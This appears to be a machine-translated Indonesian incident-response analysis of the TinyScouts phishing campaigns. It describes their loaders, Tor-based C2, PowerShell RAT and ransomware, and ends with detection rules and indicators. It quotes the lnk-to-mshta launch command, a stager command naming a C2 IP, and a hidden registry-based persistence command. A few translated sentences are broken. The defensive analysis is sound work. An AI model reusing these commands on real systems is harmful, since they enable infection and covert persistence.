Sedikit Lebih Sulit Dari Kelihatannya: Bagaimana TinyScouts Menyerang

Beberapa waktu lalu, kami mulai merekam upaya untuk menginfeksi infrastruktur pelanggan kami dengan malware yang sebelumnya tidak dikenal. Itu dikirimkan kepada pengguna melalui email phishing, terkadang didedikasikan untuk gelombang kedua virus corona, dan terkadang - dengan jelas "dipertajam" untuk organisasi yang diserang dan terkait dengan aktivitasnya. Para penyusup berpura-pura menjadi berbagai perusahaan yang sudah ada, misalnya Norilsk Nickel, Persatuan Industrialis dan Pengusaha Rusia, Finauditservice, dll.







Dua aspek dari aktivitas kelompok itu patut diperhatikan: pertama, tingkat keterampilan teknis penyerang yang tinggi, dan kedua, variabilitas skenario serangan. Jika Anda tidak menarik sebagai korban, mereka akan mencuri kata sandi dan mengenkripsi data, tetapi jika mesin Anda berada dalam domain yang menarik dan memiliki potensi pengembangan serangan yang lebih menarik, mereka akan mengunduh Alat Admin Jarak Jauh (RAT) yang tertulis di PowerShell. Kami menamai pengelompokan TinyScouts setelah nama fungsi dari kode berbahaya. Pada artikel ini, kami akan memberi tahu Anda tentang dua kampanye terakhirnya, yang dapat dibagi secara bersyarat menurut bulan - Juli dan Agustus 2020, dan kami akan melakukan analisis lengkap terhadap alat dan skrip TinyScouts.



Kampanye Juli. Unduh langsung





Pada bulan Juli, malware didistribusikan dalam bentuk file lnk yang menjalankan perintah berikut:



%comspec% /v /c set m=m^s^h^ta && set a=AKT-F^inAudit^Service.^docx.l^nk && if exist "!cd!\!a!" (!m! "!cd!\!a!") else (!m! !temp!\Temp1_^^.z^ip\!a!)


Sebagai hasil dari menjalankan mshta.exe, skrip JS yang dikaburkan dijalankan. Tugasnya adalah mengekstrak dokumen dari badan file lnk untuk gangguan, membukanya melalui rundll32.exe dan menjalankan perintah PowerShell yang dikaburkan. Sebuah fragmen skrip setelah penyederhanaan ditampilkan di bawah ini:







Skrip dalam variabel toexecute memuat dan menjalankan skrip PowerShell lain yang dikaburkan bernama Decide (request to put.php). Contoh kebingungan di bawah ini:







Tugas skrip ini adalah memeriksa kesesuaian komputer dengan beberapa parameter dan mengunduh muatan berikutnya dari server. Cuplikan kode yang disederhanakan ditampilkan di bawah ini:







Kehadiran TeamViewer, sesi RDP dan fakta masuk ke domain diperiksa untuk menentukan beban apa yang perlu diunduh. Dalam kasus sistem yang "menarik", RAT akan dimuat, jika tidak - ransomware. Dalam kedua kasus, ini adalah skrip yang dikaburkan dalam beberapa lapisan.



Kampanye Agustus (sedang berlangsung). Tor Hidden Services







Pada awal Agustus, skema distribusi berubah: sekarang surat-surat itu berisi tautan untuk mengunduh arsip sfx, yang berisi 4 file:



  • document.doc. Dokumen yang dibuka untuk gangguan dan tidak membawa muatan berbahaya.
  • 7za.exe. 7z - pengarsip.
  • wget.exe. Utilitas wget asli.
  • layanan. JS script Stager 1


Saat memulai arsip sfx, tindakan berikut dilakukan:



1) document.doc dibuka



2) TOR dan node.exe diunduh dan dibuka menggunakan wget dan 7z dari tautan berikut:



www.torproject.org/dist/torbrowser/9.5.1/tor- win32-0.4.3.5.zip



nodejs.org/dist/latest-carbon/win-x86/node.exe



3) menggunakan node.exe, skrip Stager 1 diluncurkan:



C: \ Windows \ System32 \ cmd.exe "/ c jika tidak ada nama host (layanan node 192.248 [.] 165.254)



Di bawah ini adalah skrip Stager 1 yang disederhanakan:







Skrip layanan menerima alamat server kontrol sebagai argumen dan, ketika diluncurkan, membuat TOR Hidden Service (https://2019.www.torproject.org/docs/onion-services). Perlu dicatat bahwa ketika layanan TOR tersembunyi diluncurkan, namanya dibuat (mirip dengan nama sumber daya biasa di jaringan TOR, misalnya, vkss134jshs22yl3li2ul.onion). Selanjutnya, skrip mengirimkan nama Layanan Tersembunyi yang dihasilkan ke penyerang dan menampilkan server web lokal. Selanjutnya, penyerang berkomunikasi dengan sistem yang terinfeksi dalam mode permintaan / tanggapan ke server web (baris 19 dalam kode), di mana permintaan berisi kode untuk dieksekusi, dan tanggapan berisi hasil.



Arsitektur ini memungkinkan penyerang untuk mendapatkan akses ke sistem yang terinfeksi, bahkan jika berada di belakang NAT (kondisi utamanya adalah adanya Internet), dan membuatnya tidak perlu untuk mengetahui alamat IP "putih" korban.



Permintaan pertama ke server web yang dimunculkan adalah skrip Decider, yang tugasnya adalah menentukan fakta komputer bergabung dengan domain, serta mendapatkan nama pengguna. Kali ini, tidak ada pemeriksaan untuk TeamViewer dan RDP:







Setelah hasil skrip Decider dikirim ke penyerang, permintaan web datang ke sistem terinfeksi yang berisi ransomware atau RAT, tergantung pada minat penyerang.







Modul umum di kedua kampanye



Skrip Stager 3



Skrip utama berisi 5 komponen yang dikodekan dalam base64:



  • Encryptor ransomware
  • Readme
  • WebBrowserPassView
  • Mail PassView
  • Injector. , WebBrowserPassView Mail PassView svchost. RunPE.


Fungsi skrip Stager 3 :



1) Meluncurkan ransomware (fungsi Get-Stuff)



Di bawah ini adalah bagian dari kode skrip dengan peluncuran ransomware:







2) Memintas UAC (untuk menghapus salinan bayangan)



Ada tiga teknik dalam kode: menggunakan csmtp.exe, CompMgmtLauncher.exe dan fodhelper.exe. Anda dapat membaca tentang mereka di sini , di sini dan di sini .



3) Menghapus salinan bayangan



4) Meluncurkan WebBrowserPassView dan Mail PassView



Ini adalah utilitas dari Nirsoft untuk mengekstrak kata sandi dari browser dan klien email, masing-masing.











5) Mengirim laporan utilitas tersebut ke server manajemen.



Sebelum dikirim, laporan dienkripsi menggunakan algoritma RC4 dengan kunci yang dihasilkan (4 karakter):







Kuncinya sendiri ditempatkan di awal pesan:







Encryptor ransomware



Pesan readme terlihat seperti ini:







Encryptor adalah file yang dapat dieksekusi .NET tanpa kebingungan apa pun. File dienkripsi dengan algoritma AES. Kunci terpisah dan vektor inisialisasi dibuat untuk setiap file, yang kemudian dienkripsi menggunakan kunci publik RSA dan ditempatkan di file yang dienkripsi. Fungsi utama ransomware ditunjukkan di bawah ini:







TIKUS



Skrip ini memiliki beberapa lapisan kebingungan. Setelah dekripsi, ia dapat menjalankan perintah berikut:



  • hapus - hapus sendiri
  • exec - Jalankan perintah PowerShell
  • unduh - unduh file
  • set_wait_time - mengubah frekuensi permintaan perintah
  • update_tiny - perbarui RAT
  • run_module - Jalankan blok perintah PowerShell
  • add_persist_module - menambahkan modul PowerShell ke sistem yang akan dijalankan setiap kali RAT dimulai.
  • remote_persist_module - hapus modul dari daftar startup RAT.


Fungsi pemrosesan perintah yang disederhanakan ditampilkan di bawah ini:







Metode pengikatan



Dua kunci digunakan untuk menyematkan:



1) HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run. Perintah berikut ditempatkan di kunci ini (baris disederhanakan):



cmd /c PowerShell -windowstyle hidden -nop -c «iex (Get-ItemProperty -Path HKCU:\SOFTWARE\Microsoft\Windows -Name <client_id>»


2) HKCU \ SOFTWARE \ Microsoft \ Windows. Di sinilah skrip disimpan dalam nilai bernama client_id. Jadi, saat sistem dimulai, perintah dari tombol Jalankan membaca dan menjalankan skrip dari sini.

client_id - string format AppX + base64 (nama host + nama pengguna + campaign_id)



Fungsi penyematan terlihat seperti ini:







Skrip yang didekripsi yang ditempatkan di Jalankan:







Perlu diperhatikan bahwa kode malware tidak disimpan baik di disk maupun di registri: kode ini dimuat lagi setiap kali dengan script di atas.



Perintah Add_persist_module



RAT memiliki kemampuan untuk menambahkan modul PowerShell yang akan berjalan di setiap startup. Untuk ini, kunci registri terpisah digunakan, yang menyimpan pengenal modul. Selama startup, kunci ini diperiksa, dan malware membuat permintaan ke server, mendownload semua modul dengan pengenalnya.







Saat malware diluncurkan, fungsi Load-AllPersistModules diluncurkan untuk meluncurkan semua modul yang ditambahkan:







Kode modul juga tidak disimpan di disk atau di registri, seperti badan utama RAT.



Interaksi server



Kode tersebut berisi konstanta CampaignID, yang digunakan saat mendaftarkan RAT saat startup (fungsi register-tiny) sebagai kunci enkripsi. Algoritma enkripsi adalah RC4. Setelah mengirimkan informasi utama tentang sistem, respons server berisi kunci enkripsi, yang akan digunakan di masa mendatang dengan algoritme yang sama.







Aspek teknis penemuan data kampanye



Menjawab pertanyaan tentang bagaimana mendeteksi ini atau itu, kami mencoba membagi semua aturan menjadi dua kelompok besar:



  • deteksi anomali seluruh sistem,
  • deteksi anomali untuk perusahaan / keluarga / instrumen tertentu.


Deteksi anomali seluruh sistem



Interaksi dengan server perantara dan n:

Dalam kampanye Juli, dalam hal mendeteksi dan memblokir aktivitas ini, cukup menambahkan alamat IP dan nama domain ke daftar pemblokiran, sambil tidak lupa memantau upaya untuk mengaksesnya.



Pada bulan Agustus, perusahaan menjadi lebih sulit dengan aspek penemuan jaringan, dan di sini perlu diperhatikan hal-hal berikut:



  • Kami masih dapat memblokir dan mengambil beberapa alamat IP dan nama domain untuk pemantauan;
  • Adanya aktivitas jaringan melalui TOR memaksa kita untuk menyimpan dan secara dinamis mengupdate daftar alamat IP yang terlibat dalam membangun jaringan ini. Dan di sini, bagi kami, aturan deteksi dapat menjadi banding ke alamat IP dari jaringan TOR;
  • , - ( Stager 1 ), SYN- TCP- . TOR Hidden Service . rendezvous point « » ( ) SYN- TCP- , .


Untuk kedua kampanye, sekumpulan aturan IDS yang ditujukan untuk mendeteksi metode PowerShell tertentu yang digunakan atau bentuk konversi Base64 mereka akan bekerja dengan cukup baik.



Menjalankan Kode pada Sistem Target



Ada dua sumber peristiwa, Audit Windows dan Sysmon.



PowerShell Script Blokir Logging



Log yang berisi catatan dari skrip PowerShell yang sedang dijalankan. Terletak di jalur berikut: Appilication and Sevices Logs> Microsoft> Windows> Powershell> Operational.



Aturan deteksi, yang ditujukan untuk mendeteksi metode PowerShell spesifik yang digunakan, akan berfungsi dengan baik dalam mendeteksi aktivitas kampanye ini. Proses



Log Keamanan (atau Sysmon)



Mulai - 4648 (1)



Untuk mendeteksi aktivitas ini, diperlukan aturan klasik untuk mendeteksi anomali dalam kaitannya dengan proses ayah -> anak. Bundel ini terlacak dengan baik selama proses startup pada host: md-> mshta, cmd-> PowerShell, mshta-> PowerShell, rar-> rundll32, node-> wmic



Selain itu, aturan untuk melacak parameter mencurigakan dari proses peluncuran dapat membantu: PowerShell -e “base64 »



Proses Koneksi Jaringan - 5156 (3)



Aturan untuk mendeteksi koneksi jaringan dari proses PowerShell ke alamat IP putih akan membantu mendeteksi aktivitas ini.



Juga, selama kampanye Agustus, aturan untuk mendeteksi lalu lintas proxy internal ke 127.0.0.1 akan banyak membantu (inilah yang dilakukan TOR dan server web lokal).



Daftar entri - 4657 (13)



RAT yang ditulis di PowerShell mempertahankan kehadirannya melalui cabang registri umum HKCU \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run, yang berarti bahwa aturan untuk memantau catatan di sepanjang jalur ini adalah pilihan kami.



Deteksi upaya untuk melewati teknologi UAC: perubahan di cabang registri berikut -



HKCU\Software\Classes\mscfile\shell\open\command, HKCU\Software\Classes\ms-settings\shell\open\command, HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ICM\Calibration


Deteksi anomali untuk perusahaan / keluarga / instrumen tertentu



Menjalankan kode pada sistem target Memulai



proses - 4648 (1)



Di sini Anda memerlukan aturan untuk melacak parameter mencurigakan dari proses awal: C: \ Windows \ System32 \ cmd.exe "/ c jika tidak ada nama host (layanan node)

Menulis ke registri - 4657 (13 )



RAT, yang ditulis di PowerShell, juga mempertahankan kehadiran melalui registri cabang HKCU \ SOFTWARE \ Microsoft \ Windows, dan oleh karena itu untuk pendeteksian, kami perlu melacak nilai rekaman «client_id» di sepanjang jalur ini.



Indikator membahayakan:



a9a282a11a97669d96cce3feaeaaa13051d51880
8b20babe972f580f1b8f4aca4f7724f7866a595a
ba7b1f2a9feb6b5b0ebc15620b38f8311a67c017
2c687d52cc76990c08ec8638399f912df8fb72de
c19b68e4b1cb251db194e3c0b922e027f9040be3
a2d4b0914d164f2088130bee3cdcf4e5f4765c38
18a28811dbbcc97757091ddb3e3ab6982b0bbfc9
192.248.165[.]254 
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_launch.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/raw_stat/stat_fin.php
https[://]late-salad-2839.yriqwzjskbbg.workers[.]dev/web/index.php?r=bag
https[://]hello.tyvbxdobr0.workers[.]dev
https[://]curly-sound-d93e.ygrhxogxiogc.workers[.]dev
https[://]old-mud-23cb.tkbizulvc.workers[.]dev
https[://]odd-thunder-c853.tkbizulvc.workers.dev/
http[://]45.61.138[.]170


Penulis pos:



Igor Zalevsky, Kepala Departemen Investigasi Insiden Cyber ​​JSOC CERT

Asker Jamirze, Pakar Investigasi Teknis Departemen JSOC CERT



All Articles